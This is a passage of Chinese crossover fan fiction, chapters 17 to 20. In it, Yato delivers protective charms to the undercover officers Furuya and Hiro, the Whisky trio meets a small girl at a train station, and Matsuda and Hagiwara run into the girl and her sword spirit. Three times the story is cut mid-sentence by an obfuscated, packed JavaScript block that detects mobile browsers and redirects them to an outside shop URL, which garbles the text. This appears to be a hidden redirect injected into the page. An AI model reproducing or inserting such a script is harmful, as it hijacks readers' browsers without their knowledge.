而不久之后,她收到了hiro在北海道就职的信息。 接着又是降谷那边说是不当警察了。 有hiro在前,名幸琉璃当然也猜出降谷估计也是去卧底。 “这两个家伙还真是……” 她这段时间更多将注意力放在hiro这边,以至于现在才恍然,降谷居然也去卧底了。 这么默契……,所以说,名幸琉璃再次在心里吐槽,如果降谷是女性的话,一定是她最大的情敌吧。 “早知道就多做一个御守了。” 虽然她做那一个御守花了那么多时间,但其实更多的是在研发,弄清楚原理后,制作其实也花不了多少时间。 “不过现在也不算晚,他们应该还在卧底培训吧,这样就要麻烦夜斗桑再走一趟了。” 17.第 17 章 作为神明,就算不像七福神道真公稻荷神那些有名的神明他们那么信仰众多,夜斗也有着特别的能力。 哪怕降谷零现在正在进行秘密培训,在接到名幸琉璃的委托没花多久,夜斗便出现在了他的面前。 降谷零刚完成一组培训,打算趁着接下来的休息时间将刚才培训老师教授的内容再思索琢磨琢磨,然后打开厕所门就看到了正在做着拉伸运动的夜斗,旁边还跟着一个金色头发的孩子。 好在离上次见到夜斗没有太久,降谷零这次倒没有出现记忆慢半拍才出现的现象,但也愣了两秒才道:“夜斗桑怎么在这里?” 为了避免暴露,在决定去卧底之后和他相关的各种资料都进行了保密处理,包括对他进行卧底培训的老师,以及这个用作培训的场地位置。 所以说,之前海外修学旅行也就算了,为什么这个时候夜斗桑也会出现啊?! 对了,这次旁边还多了个小孩,看上去也就是初中生大小,没记错的话中学现在还没放假吧? 夜斗会出现在这里自然是接了名幸琉璃的委托,过来送御守的。 知道这次的委托对象是降谷零,想来应该会不从降谷零这里接到送回信的委托,处于性价比的考虑,夜斗还顺手接了另一单委托。 本来现在看到降谷零直接把御守送出去就好,但作为一个神明,哪怕这方面并不是专长,他看出了名幸琉璃这个御守的作用。 结合刚才看到的降谷零的培训内容,使用扮演花花公子人设,并使用蜂蜜陷阱套取情报…… 为了再从名幸那里接到委托(×),为了降谷零接下来任务顺利,他还是一会再去名幸那里提一嘴吧。 至于现在……,夜斗将手搭在雪音的肩膀上,同时举了举另一只手上拿着的拖把:“看不出来吗?我可是这里的保洁。” “保洁?!”降谷零没有想到会得到这个答案。 “没错。”夜斗十分自豪地扬着头,同时递给降谷零一张名片,“我就是省钱快速又让人安心的夜斗神,只要五元什么都能做到,有需要还请联系这个号码。” 说着,夜斗适时侧过身,露出他刚才和雪音已经打扫了的一部分,光洁的地板十分透亮,上面照出的人脸清晰可见。 如果是保洁的话倒不是没有可能,尤其是这么干净,不是专业的很难做到吧,就是……,现在的竞争已经这么激烈了吗,五日元也过于便宜了吧。 降谷零有些不可置信,尤其是这里是卧底培训的基地,也就是说是由警方直接聘请的保洁,公安在这方面居然如此严苛吗?! 于是夜斗就看到对面的降谷零听到他的解释后表情更加义愤填膺起来了:“夜斗桑,关于工资的问题我会帮您向上面申请的。” 夜斗十分感动,作为日常带自家神器到别的神明的神社借宿的贫穷流浪神明,他当然也希望自己能够涨工资,但最终也只能违心地说出: “降谷你真是太好心了,不愧是我看着长大的孩子,不过涨工资就算了,只收五元是我的坚持!” 日语的五元和结缘同音,他现在到处打工其实也是为了让更多人记住自己,不至于因此消失,和更多钱相比,当然这个是更重要的。 夜斗的坚持降谷零也听诸伏景光提到过,因此听他这么说,最后也只能是道:“那好吧,不过既然夜斗桑也在的话,晚点我请你们吃饭吧。” 说到这里,降谷零也顺势提起了自己刚才就很在意的一点:“对了,这位是?” “这是雪音,降谷你还没见过吧,这可是我家小孩。”夜斗一脸自豪,他一开始就很看重雪音的资质,不久前雪音更是成为了祝器,目前在和兆麻学习中。 而所谓神器也可以说是神明的孩子,因此这么说也完全没问题。 降谷零倒是没有想到会是这个关系,但仔细一想,虽然和夜斗桑认识很久,可排除送信以及与hiro还有名幸一样时不时接济夜斗桑外,他对夜斗桑也不算多么了解。 只是有一点…… “夜斗桑,现在中学生好像还没有放假吧,雪音不用上学吗?” 神器当然是不用上学的,但偏偏降谷零是完全不清楚神明妖鬼之类事情的普通人,于是夜斗原本自豪的笑容一滞,转移话题道: “对了,降谷你怎么也在这,你们这一届警校学生都应该去警察岗位上报道了吧。”说着,他摸了摸下巴,一脸发现大秘密的表情,“不会是想和我抢保洁的工作吧,年轻人还是做些更体面的工作才好,这个工作可是我好不容易才找到的,你也要体谅一下长辈养小孩的不易啊。” 一边说着,还一边抱着表情无奈地雪音哭了起来,看起来好不可怜。 降谷零只好连连否认,好半会才又露出刚才培训老师教导的笑容回道:“那个……,我现在已经不做警察了,当然!也不是保洁,只是最近在这有事情要处理,夜斗桑下次见到我可以当做不认识吗,名字的话现在是安室……” 说到一半,降谷零又叹了口气道,“算了,请务必麻烦夜斗桑和雪音君一会去签一下保密协议吧。” 为了保密,培训的基地看上去没什么显著特征,像保洁这样的外围工作人员虽然做了严格的背调,但对于这块地方的真正用途也并不清楚,只是夜斗桑正好是他认识的人,签一份保密协议也更保险。 说完这句话,降谷零便先走了,他还要接着去接受培训老师的一对一辅导。 留下雪音看了眼旁边的夜斗:“内,夜斗,所以我们真的要签那个保密协议吗?” 夜斗摸着下巴思索了一下。 对于此世的人来说神明和神器的存在感是很薄弱的,其实什么都不管的话降谷晚点可能自己的忘记了,但那同样意味着另一个十分严峻地情况将会发生。 那就是降谷很有可能会将请他们吃饭这件事也忘记! 于是夜斗对着雪音语气坚定道:“签,当然要签!” 不过在大宰降谷一顿之前,他们还要先去名幸那里一趟,将目前这个情况说清楚,说不定还会有新的收获。 希望是比较能放的收获,毕竟还要留着肚子和降谷吃饭呢。 果然,听夜斗这么描述之后,名幸琉璃沉吟了一下道:“既然这样原来那个御守确实是不能用了,单纯防护的御守我这里倒也还有不少,就麻烦你们再走一趟了。” “对了,hiro他不会走得也是这个路线吧。”如果这样的话原来那个御守就不能用了。 虽然知道这都是职责所在,但想到hiro要去接近别的女人,名幸琉璃心里还是有些泛酸。 好在夜斗很快道:“这个我也顺便去看了一下,景光小鬼好像是走狙击手这条路的,我过去的时候刚好他们在做人设。” 神明是没有所谓善恶的,夜斗自己在几十年前也都还在从事着类似杀手的活计,被称为祸津神。 但和他关系更好,也替他贡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066536|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 献了不少业绩的名幸和诸伏是警方这边的,所以他自然也是希望那些什么邪恶组织能够快点覆灭。 不说别的,因为这些黑色组织,目前他最稳定也贡献了最多收益的,给名幸和诸伏这对小夫妻送情书的委托至少接下来要被停掉很久了。 因为夜斗聪明地隐瞒了晚上降谷零要请他们吃饭这件事,自觉请人办事东西要给到位的名幸琉璃又打开冰箱看了看: “这是前两天回京都老家时候买的宇治抹茶大福,夜斗你带回去和雪音一起吃吧。” 然后在过来前因为担心说漏嘴被夜斗留在楼下的雪音就看到夜斗一脸心情很好的提着袋子出来了。 离开名幸家后,雪音露出半月眼:“夜斗你又骗吃骗喝。” 夜斗很有活力的反驳道:“怎么能说骗吃骗喝,这只能叫上供。”说完后又继续规划道,“不过晚上要空出肚子和降谷去吃饭,这些得等明天再吃。” 于是乎,不出所料的,在给出晚上请吃饭的地点后,在降谷零到之前,夜斗就已经在雪音无奈的眼神下点了好几个菜,还都是最贵的。 看着不断端上来了菜品,夜斗还拍着胸脯对降谷零保证道:“相信我,就算吃不完我们还能打包带走,绝对不会浪费的。” 好在降谷零也不计较这点,或者说在他看来夜斗桑每天靠五日元的报酬打零工维生还带着一个孩子,着实是需要多接济接济的对象。 而在早上和夜斗聊了聊之后,他突然想到了一点:“夜斗桑没有想过要找一份稳定一些的工作吗?” 其实以夜斗桑这种只要一段时间没见就很容易忘记的特殊的体质,倒是适合作为公安的特殊协助人或者线人之类的。 说起来,明明之前萩原松田和班长都见过夜斗,但在后面聊天再提起夜斗的时候,他们三个却都完全没有印象了。 这种体质的存在还真是不科学啊。 正在大吃大喝的夜斗语气有些含糊道:“现在的工作就已经挺稳定了啊。” “我的意思是,如果让夜斗桑传递一些特殊的信息,或者……”或者搜集情报协助调查什么的。 不过在降谷零看来夜斗还是个普通人,后面那些现在提出了还是过于困难了。 因为他没直说,夜斗倒没听出降谷零的意思,不过提到自己的业务语气更热情了些: “那种委托也有接到过啦,降谷,不对,现在好像应该叫安室,如果你要发布这种委托的我也能接,反正都是五日元啦。 除了这个,这些年还有在东京接到过类似拆弹的委托,虽然不拆我也能处理,不过经过练习,那些炸/弹对我来讲已经完全不是问题了,还有找猫,查外遇,带小孩,修家电等等,这些万能的夜斗神都能处理,通通只要五日元哦!” 看着夜斗桑掰着手指推销自己,降谷零收起刚才露出的豆豆眼:“没想到夜斗桑连拆弹都会呢。” 其实这样说起来夜斗桑的工作内容倒是和侦探很像,就是收费格外低,工作内容的范围也比侦探要广上一些。 这么说,夜斗桑说不定会很适合开个侦探事务所呢。 但是他这种体质,又说不准会出现明明开在黄金地段却被人完全忽略过去的情况。 “那么如果有需要的话,到时候还要麻烦夜斗桑了。” 虽然这么说,降谷零其实也还只是突然想到这点,而在进入组织后不久,因为时间问题,他也逐渐忘记了夜斗的存在。 18.第 18 章 黑衣组织这几年可以说是优秀的新人频出。 其中最出名的应该说是由波本、苏格兰和莱伊组成的威士忌行动组。 苏格兰,本名诸伏景光,目前化名为绿川光。 因为这次的任务地点距离安全屋有一定距离,他和同属于威士忌组狙/击/手的莱伊一起坐电车回去。 接连换乘了几次后,苏格兰注意到在站台那边有两个孩子不时装作不注意的往这边看。 比起之前遇到过的其他情况,这次的两条小尾巴明显技术要差上不少,或者更直接一点说,这种跟踪水平完成可以称为明目张胆了。 其中一个大概还在上国中,躲避的时候还往这边看了好几眼,神态也有些紧张,看眼睛感觉和旁边的莱伊有些像。 另一个就更小的,可能也就是三四岁左右,茶色的头发被扎成两根辫子垂下,比起旁边有些紧张的国中生,这个就要冷静不少。 好像是知道自己已经被发现了,蓝色的眼睛就这样直接和他对视上,看起来完全不认生。 莱伊也注意到了他们的存在,平时冷酷的表情难得露出了生气这样明显的情绪,训斥了那个大一点的孩子,让她赶紧回家。 在得到身上没钱也不知道要怎么回去的回答后,就一个人往售票处去买车票了。 留下的苏格兰看着那个大一些的孩子神情沮丧,像是马上就要哭出来了,小的那个也对她露出了一脸同情的表情。 看着这两个一个比一个小的孩子,苏格兰在心里叹了口气,一边将刚才用作伪装的贝斯拿了出来:“你们,喜欢音乐吗?”* 听到他这么问,两个孩子的注意力也被吸引过来。 比起大的那个应该是莱伊的妹妹,另一个三岁左右的孩子则好像单纯只是出于好奇被吸引了过来,看到这把贝斯语气还有些小骄傲道:“我家里也有一把贝斯。” “这样吗?”苏格兰轻笑,然后将语速放慢,简单介绍了一下该如何用贝斯弹出音阶。 不过在莱伊买好票过来之前,站台的后面传来一声熟悉的声音:“苏格兰。” 苏格兰转头,来的是目前和他同属于威士忌行动组的波本,也是他的发小,降谷零。 名幸绮音抬头看了眼面前和她有着相似眼睛的苏格兰,又看向后面走过来的波本。 其实她一开始会跟过来主要是从苏格兰身上感受到了熟悉的,来自母亲的灵力,以及一直跟在对方身边的白色头发的哥哥。 是这个叔叔的式神吗? 身后跟着好几只白色小老虎的哥哥和跟在她身边的栗姬姐姐挥了挥手,看到她们的时候露出很高兴的表情,似乎是想要说些什么。 名幸绮音觉得这种心情或许就像是她得到栗姬姐姐额外给的点心吧。 为了方便跟着,名幸绮音一开始就央求身边的栗姬姐姐隐去身形,是妈妈认识的其他阴阳师吗?她这么猜想着,于是不自觉地就跟了上去。 但是在另一个金发的叔叔走过来的时候,她又再次感受到了熟悉的灵力。 名幸绮音还没有正式开始学习阴阳术,也不清楚灵力可以依托在御守上长久保存,而御守可以送人或者拿去售卖,所以灵力出现在普通人身上也不算奇怪,此时陷入了疑惑。 恰巧这时候去买车票的莱伊也回来了,他将车票递给妹妹世良真纯,没有再多说什么,但被训斥了一顿的世良真纯却不敢多待了,说了一句‘打扰了’便先离开了。 虽然同样跟了上来,但这两个孩子看起来并不认识,一般情况下,善心过度可不是犯罪分子应该有的人设。 但三位犯罪分子之一苏格兰视角,一起的两个搭档一个是幼驯染,另一个正在他毫不知情的妹妹面前,就算因为这个对他产生怀疑,还有妹妹这个软肋在。 三位犯罪分子之二莱伊视角,虽然这次遇到了真纯,但还好苏格兰的女儿也在,要说把柄的话,只能算一比一平。 没想到苏格兰居然还有个女儿。 他们的眼睛十分相像,都是很有特色的丹凤眼,只是可惜这双漂亮的丹凤眼放在苏格兰的脸上就显得平平无奇起来了。 相较而言,面前这个小女孩虽然还小五官没有长开,却已经能看出未来的出色,可见孩子的母亲很可能是位美女,就是不知道为什么会愿意和苏格兰在一起。 但跟过来的两个孩子其中之一是他的妹妹,以己推人,加上那个孩子时不时好奇地打量苏格兰,态度看起来也很亲昵,更别提平时在组织一向沉默寡言的苏格兰刚才哄小孩的方式也很熟练。 如果不是容貌,也许苏格兰会比波本更适合当情报人员…… 莱伊在脑海里脑补完一切,眼神复杂地看了一眼苏格兰。 只是有一点,他还以为苏格兰会趁着他不在先把这孩子安顿好,是因为波本过来了吗? 三位犯罪分子之三波本视角就要简单不少,作为行动组的搭档,三个人中两个人都不急着走,他留下来看个热闹也不算奇怪。 而且……,不知道为什么,他看这孩子总有一种莫名的亲切感。 而在另一个大一些的孩子离开后,看到还留在这里的小朋友,最后还是由苏格兰语气温和地询问:“是找不到家长了吗?” 有两个认识的人在,栗姬也不担心名幸绮音会出什么问题,正打算找个没人注意的角落显形,然后过来假装认领某走失儿童的家长。 恰巧此时,某海带头一脸慌张地从电车里面跑了出来,嘴里喊着:“糟糕糟糕!” 啊,切原君又一不小心在坐车的时候睡着了吗? 背着网球包的切原赤也张望了一下四周,不出意外地注意到了同样看过来的名幸绮音,以及此时在她面前的三个大人。 想到东京这边的高犯罪率,名幸绮音身边又一个认识的人都没有的样子,切原赤也灵光一闪,自以为对现在的情况了解清楚了,抽出网球拍往前将名幸绮音拉到身后: “你们想对绮音做什么!” 见切原赤也误会了,还是旁边原本摆出事不关己架势的波本解释道:“抱歉,我们看这孩子一个人待着,就想问一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070090|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是和大人走散了。” 听他这么说,切原赤也的态度也有些迟疑,最终还是放下拿着网球拍保持警惕的手,转头看向被他护在身后的名幸绮音:“绮音,这个大叔说的是真的吗?” 切原赤也今年已经是高中生,也可能是因为打网球有充分运动,这几年长高了不少,波本又是个娃娃脸,大叔这个称呼着实是有些过了,喊旁边特意留了胡子的苏格兰还差不多。 旁边一向和波本有些不对付的莱伊露出幸灾乐祸的笑。 虽然名幸绮音对于那个金色头发的叔叔和面前这个刚才教她们弹贝斯的叔叔都很好奇,尤其最好奇地就是这个带着好几只猫咪的式神哥哥为什么老是看她。 不过他们确实不是妈妈常说要小心的人贩子,于是名幸绮音老实地摇了摇头,同时问道:“赤也哥哥,你又走丢了?” 抱着一腔热血冲过来之后,切原赤也终于想起自己不小心睡过去,现在又坐过站这件事了,而且看外面的天色现在也已经不早了。 切原赤也遭受了重大打击,却还没有忘记维护自己在小妹妹面前的面子:“才不是走丢!这只是意外,……所以绮音你知道这里是哪里吗?” 名幸绮音再次摇头,她是跟着面前这个叔叔一路过来的,记路的话,栗姬姐姐会带她回去的。 可惜切原赤也看不到现在的栗姬,十分苦恼地想了一会:“这样的话只能打电话给柳前辈了。” 因为一般人都不会放三岁大的孩子单独出去,还是在车站这种人流量比较大的地方,威士忌三人组猜测应该是切原赤也带着妹妹出来玩,看样子是不小心睡过去了才让名幸绮音一个人跑出来,然后现在他们迷路了。 见他们不知道怎么回去,加上这个男孩身上的校服好像是神奈川那边的学校的,原本几个大人还打算看下能不能帮他们指一指路。 不过现在看来交给这孩子口中的柳前辈应该是没什么问题的。 根据三人敏锐的观察,这孩子应该不是第一次在电车上睡过去或者迷路了,毕竟打给前辈询问的动作实在过于熟练了。 于是便没有多停留地先行离开了,也就没有注意到在看到他们离开后,名幸绮音拉了拉切原赤也的衣角:“赤也哥哥,其实今天栗姬姐姐也过来了。” 切原赤也大喜:“太好了,这下就不用麻烦柳前辈了。”刚好他想到要是拨出去了之后肯定要加训,所以犹豫了一下,没有立即拨出去,不然现在都不好解释。 将手机再次收起来的切原赤也所不知道的是,因为太晚没回家,所以他妈妈在不久前已经打了电话给柳莲二询问情况。 只是当时他还在车上没有睡醒,所以柳莲二自然没有拨通,粗心大意的切原赤也也根本没注意到他的手机上有未接电话。 在这种情况下,要是他刚才那一通电话拨出去了,说不定情况还会好一点,但不管怎么样被训斥一顿肯定是逃不了了。 这都是后话了,现在的切原赤也还在一脸庆幸地等栗姬把名幸绮音送回家,顺便把他也送回切原家。 19.第 19 章 警察的工作日期向来不定,今天难得的萩原研二和松田阵平两人都有假。 优哉游哉地睡到自然醒,两人愉快地逛了大半天模型店,在差不多饭点的时候才从里面出来,准备就近找家店吃饭。突然间萩原研二用手肘怼了怼松田阵平:“小阵平,你看那边。” 穿着白色和服的青年在卖眼镜的摊子前露出了十分感兴趣的表情,在对着镜子试戴了好几次后,最满意的还是一个‘cool’样式会一闪一闪的墨镜。 而在他的旁边,梳着半扎丸子头穿着背带裙的一个小女孩正垂涎地看着那边的冰淇淋小摊。 偏偏鹤丸国永一边给这副墨镜付了钱,一边笑眯眯道:“不可以哦,阿路基说绮音酱今天不能吃甜的冰的,尤其是冰淇淋。” 名幸琉璃在大学毕业后继续在本校进行了研究生深造,平时上学的时候就由栗姬鹤丸和长谷部轮流带着名幸绮音,今天刚好是轮到鹤丸国永。 虽然早就知道,但听到鹤丸国永的话,名幸绮音还是有些难过地低下了头,然后就在这时她感觉自己的小丸子被捏了捏,于是刷地一下捂住头,条件反射地跳开,眼底带着控诉地往上看去。 动手的正是同样带着墨镜的松田阵平,不过比起现在鹤丸国永脸上的搞笑墨镜,他脸上这副墨镜就要日常多了。 萩原研二笑眯眯道:“小绮音,还有鹤丸,好久不见。” 小绮音这孩子明明才三岁大,平时却总是像个小大人一样,也就只有小阵平每次弄乱她的头发,以及看到甜品的时候才会露出明显的表情。 话虽如此,萩原研二和松田阵平却没有说要给名幸绮音买冰淇淋。 名幸家的几个大人都格外疼爱名幸绮音,若说可以的话,刚才鹤丸肯定已经买了,估计是名幸桑发话了吧。 果然,鹤丸国永无奈道:“前几天绮音酱偷吃了冰淇淋,结果晚上的时候闹肚子发热,阿路基罚了她接下来半个月都不能吃冰淇淋。” 虽然看着成熟,名幸绮音毕竟还是个三岁的孩子,平时就格外喜欢吃甜食,现在天气又渐渐热了起来,在尝过一次后,冰淇淋便又成了她的心头好。 但小孩子肠胃虚弱,因此名幸琉璃严格控制了她冰淇淋的摄入量。 谁知道绮音酱虽然年纪小但也是个有才能的,加上这个咒术刚好属于入门级别的,明明只是听阿路基念过两次施咒的口诀,便自己尝试了隐密气息的咒术,趁大人不注意偷吃了半根雪糕。 然后不出意外地,半夜的时候肚子疼还发起了热,养了好几天才好一点,但也被名幸琉璃严令禁止了接下来半个月的雪糕份额。 松田阵平又将手放到名幸绮音脑袋上重重揉了揉:“你是笨蛋吗?” 连平时每次看到名幸绮音都笑眯眯看上去很温柔的萩原研二也露出了不赞同的目光。 趁着当时生病的难受感还没有过去,名幸琉璃其实早就好好教育过名幸绮音,而名幸绮音也认真反思过了。 但是被松田阵平这么一下后还是微噘着嘴捂住了脑袋:“我知道错了,才不是笨蛋,松田叔叔是个幼稚鬼。” 被这么一个小豆丁说幼稚鬼,松田阵平‘哈?’了一声,旁边看热闹的萩原研二和鹤丸国永已经笑出声。 萩原研二想要让自己的语气更正经点,却还是露了不少笑意:“小阵平有时候确实有点幼稚。” 偏偏名幸绮音还一本正经解释道:“松田叔叔每次见面都偷袭,我的的发型都弄乱了,还不够幼稚吗?” 就这么一个三头身的小个子,脸上的婴儿肥都还没褪去,偏偏板着脸一本正经地说话,茶色的头发带着微卷的蓬松感,一眼看过去就手感很好。 更别提才三岁的名幸绮音对自己的发型意外的在乎,每次这个时候脸上小大人一样的表情都会骤变,看起来更加有趣了。 也难怪松田阵平每次见面都喜欢揉她的脑袋,或者捏一捏带着肉感的脸颊。 就连萩原研二其实也在名幸绮音没注意的时候上过几次手,不过比起松田阵平,萩原研二被发现后每次都会道歉道:“抱歉,因为小绮音太可爱了,忍不住就想摸一摸揉一揉。” 这样就算名幸绮音有点生气了,在萩原研二的夸奖下也完全气不起来了。 松田阵平有些尴尬,刚才第一眼看过去小巧可爱的小丸子现在确实变得凌乱不少:“要不我帮你重新扎一下?” 虽然他没有给小女孩扎过辫子,但看今天的这个丸子,感觉至少比上次见到的两根辫子好扎。 也许半扎丸子真的比辫子好扎,但松田阵平试图帮名幸绮音将丸子头扎好的行动确实是大失败了。 加上在大街上不太方便,刚好马上也要吃饭了,萩原研二便顺势提出让小阵平请客给小绮音赔罪,找了家饭店进去坐了。 第一步还好,松田阵平先是将上面一般的头发分出来扎成马尾,但接下里就状况百出了。 名幸绮音的头发随了母亲,颜色也是茶色,微软的发质让发尾自然地带着点微卷,看起来有种蓬松的感觉,长度大概到肩膀下面。 松田阵平将分出的头发绕了绕,想要绕出一开始见到的有点像花苞一样的丸子,却是怎么都绕不出来。 要不然边边的碎发扎不进去,要不然扎得形状明显怪异,好不容易感觉差不多了,皮筋往上一扎,便又松开了。 爆/处/组的王牌之一松田阵平还是第一次感觉到,原来给小女孩扎头发比拆/弹还要麻烦。 偏偏名幸琉璃见饭菜陆续被服务员端上来后有些坐不住了:“松田叔叔,你扎好了吗?” 旁边的萩原研二发出嘲笑:“小阵平恐怕还要老半天呢。” 松田阵平:“hagi你不是也不会。” 名幸绮音毕竟是他们几个中的第一个小辈,加上诸伏景光现在也不在这里,萩原研二他们几个平时看到这孩子也都会帮着多照顾着点。 但要说扎头发,他们两个还真是不会。 萩原研二摊手道:“这个的话,班长说不定还会一点,他之前不是说也想要一个女儿吗?说不定提前学习了解过。” 比起他们两个单身汉,也许是和娜塔莉小姐好事将近,伊达航在看到名幸绮音之后,顺理成章地就考虑到自己要如何当好一个父亲的角色,这几年也学习了不少育儿知识,扎头发应该也有涉及过。 最后还是鹤丸国永自豪道:“这种时候果然还是轮到鹤出场了。” 自从小主人出生,长谷部立马就买了洋娃娃对着网上的视频苦练了现在小女孩会喜欢的各种发型。 面对这样的长谷部,他当然也不能落后,仅剩的栗姬虽然平时佛系,但也不不肯在这方面上落下,那段时间连杂志都不看了,家里三个式神从早到晚都在认真学习。 反倒是原本也想去学习一下的名幸琉璃打消了这个念头。 家里都有那么多人会扎小辫了,那么她不学也没有关系吧,就算真的要她扎,因为自己本身是女性,一些简单的发型倒也不是不会,只是没有那么完美而已。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076622|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看到鹤丸国永三两下把头发扎好,萩原研二发出赞叹:“不愧是鹤丸桑!” 几年前还在上警校的时候萩原研二就留了鹤丸国永的联系方式,凭借萩原研二强大的社交能力,加上鹤丸国永本身也比较健谈,两人的关系倒也处的不错。 而因为每次见到鹤丸国永他都是随身带刀的,那时候几人还比过剑道。 老实说,即使那次在便利店有见过鹤丸国永出手,但萩原研二也没想到他居然会败得那么快。 当时还在上警校的班长,小阵平,小降谷和小诸伏见此也上次试了试,但都没有撑过一招的,偏偏鹤丸还表现得像是在玩一样,连着五个人都看不出一点疲惫的样子,还真是强大啊。 不过那时候他们也看出来了,虽然鹤丸出招不多,但比起他们那些系统的剑道,鹤丸的出招要更加凌厉,招招都是往要害去的。 是因为是家臣的原因的吗,毕竟拥有家臣的家族都有着悠久的历史,那样流传下来的家族内部肯定有自己的传承,而古时候剑道也都是杀人之术。 之前见过的长谷部君也是,就是不知道名幸桑家里的其他家臣是不是也是这样。 可惜的是名幸桑以自己在剑道上的成绩一般,比不过长谷部君和鹤丸君的理由拒绝了比试,所以他们并没有见过名幸桑出手。 听到萩原研二的赞赏,鹤丸国永还没有回答,名幸绮音就已经有些得意地微微扬头了:“因为今天的发型本来就是鹤丸哥扎的,鹤丸哥可厉害了,之前我们还一起去爬树了,鹤丸哥刷的一下就上去了。” 名幸绮音的表情格外生动,配上因为年龄尚小而稍微有些含糊不清的发音。 看她的样子,松田阵平又有些手痒地想捏一捏她头上的丸子,但想到自己才刚惹名幸绮音生气,最终还是没有动手。 “说起来,为什么你喊鹤丸哥哥,我和hagi就是叔叔啊?”虽然不知道鹤丸具体几岁,但鹤丸的年龄应该才是他们中最大的才对。 名幸绮音理所当然:“鹤丸哥就是鹤丸哥,而且让我喊叔叔不是你们这些大人决定的吗?”逻辑上完全没问题。 这点倒是,松田阵平咬了咬后牙,就算现在景老板那家伙不知道跑到哪里去了,但是他可不想莫名就低了一个辈分。 “不过带着小绮音爬树会不会有些太危险了。”萩原研二看向鹤丸国永。 显然,带着名幸绮音去爬树这件事鹤丸国永也是偷偷干的,只见他有些心虚地干笑了几声道:“高处的风景更好嘛,鹤下次会注意的。” 见鹤丸国永被批评了,名幸绮音还有些小不服气:“等我学会飞了,就可以自己看到高处的风景了。” 名幸绮音无愧于名幸家的血脉,在阴阳术上面极有才能,不仅有才能也很有兴趣,为了那些看起来古旧的书上的内容,常央着母亲读给她听,也因此认识了好几个简单的字。 她说的是名幸琉璃曾用过的一种术,可以提高身体的轻盈程度,类似于隔壁国家的轻功,速度快的时候就好像飞起来了一样,很适合追赶妖怪和走山路。 只是这个术对于目前的她来讲还是有些复杂,因此才会有这样的发言。 不过萩原研二和松田阵平显然只当这是童言童语,耐心的萩原研二还贴心地没有否认小朋友的梦想:“那小绮音可要加油了。” 于是名幸绮音更加自信了:“那当然了,等我学会了,要飞得比小阵平还高。” 松田阵平无奈道:“给我好好叫敬语啊,小鬼。” 20.第 20 章 一只手在书桌上有节奏地轻点着,名幸琉璃的视线从桌上的一份份文件上扫过。 名幸家名下庇护着不少中小型家族和散人除妖师,为了方便管理,除妖的委托和一些相关的事件惯例会以报告的形式汇总过来。 而在最近一次的报告中,下面好几个家族都反应有普通人在尝试接近他们,打探关于阴阳师的情报。 而在他们的描述中,这些普通人看起来又有别有一般的普通人,而且出现时总是穿着一身黑衣,像是出自同一势力。 类似这种的情况也不是第一次遇到。 但以往这种情况中,若是能看到妖怪的,大多是其他阴阳师家族间的相互试探,打探消息罢了。 若是不能看到妖怪的普通人,也多是意外接触到了非科学的事件,不自觉便关注了过来。 后一种情况多是零零散散几个人,阴阳师们做任务时必然也都是避着普通人的,而普通人看不到妖怪,若非亲身经历,更多也只是将其当做是都市传说。 像这次这样,明显出自一个团体,规模又明显不小,还是第一次。 虽然这几年因为她这个家主在东京活动,名幸家的势力有所转移,但从几年前开始,名幸家在京都的势力,还有本家同在京都的花开院家,也有过几次和现在这些人疑似出自同一势力的打探。 只是阴阳师的世界本就和普通人差别比较大,加上名幸家和花开院家的管理不算松散,对面应该没查到什么而,几次之后便没有后续,没想到现在又扩展到了东京。 因为不知道对面究竟目的是什么,名幸琉璃这次干脆对下面的家族发出了类似钓鱼的指令: 盯住那些人,先试探性地半遮半掩给出一些阴阳师界的常识性的信息,看看那些人的反应,对一些重要的信息,以及接下来的除妖解咒之类的委托,则严禁透露出去。 指令刚刚下发,名幸琉璃就听到玄关传来的动静。 先是脆生生的一声“我回来了!” 听脚步声好像有些雀跃地跳动了两下,很快又故作稳重地平稳下来,小孩子软糯糯的声音却刻意像大人一样开口询问道:“妈妈,今天工作顺利吗?” 啊,是某个被带出去遛弯的小团子回来了。 名幸琉璃原本沉静的眼睛瞬间带上笑意,语气故作夸张道:“因为小绮音早上起床的祝福,今天超——级顺利哦!” 听到夸奖,名幸绮音的眼睛瞬间亮了起来,又想到了今天刚做下的重要决定,带着婴儿肥的脸上露出严肃的表情:“妈妈,我想去上幼稚园可以吗?” “诶?!幼稚园吗?” 在今天之前还没有听到小绮音提起过这件事,是刚才出去散步的时候做下的决定吗? 名幸琉璃看向今天和小绮音一起出去的压切长谷部。 “大概是因为在公园的时候,小主人看到很多扎堆在一起玩的小朋友吧。”压切长谷部猜测道。 小绮音今年三岁多了,名幸琉璃本来打算等明年再送她去幼稚园,虽然她有时候会比较忙,但家里这么多大人,小绮音又不是个爱闹的,不至于看顾不过来。 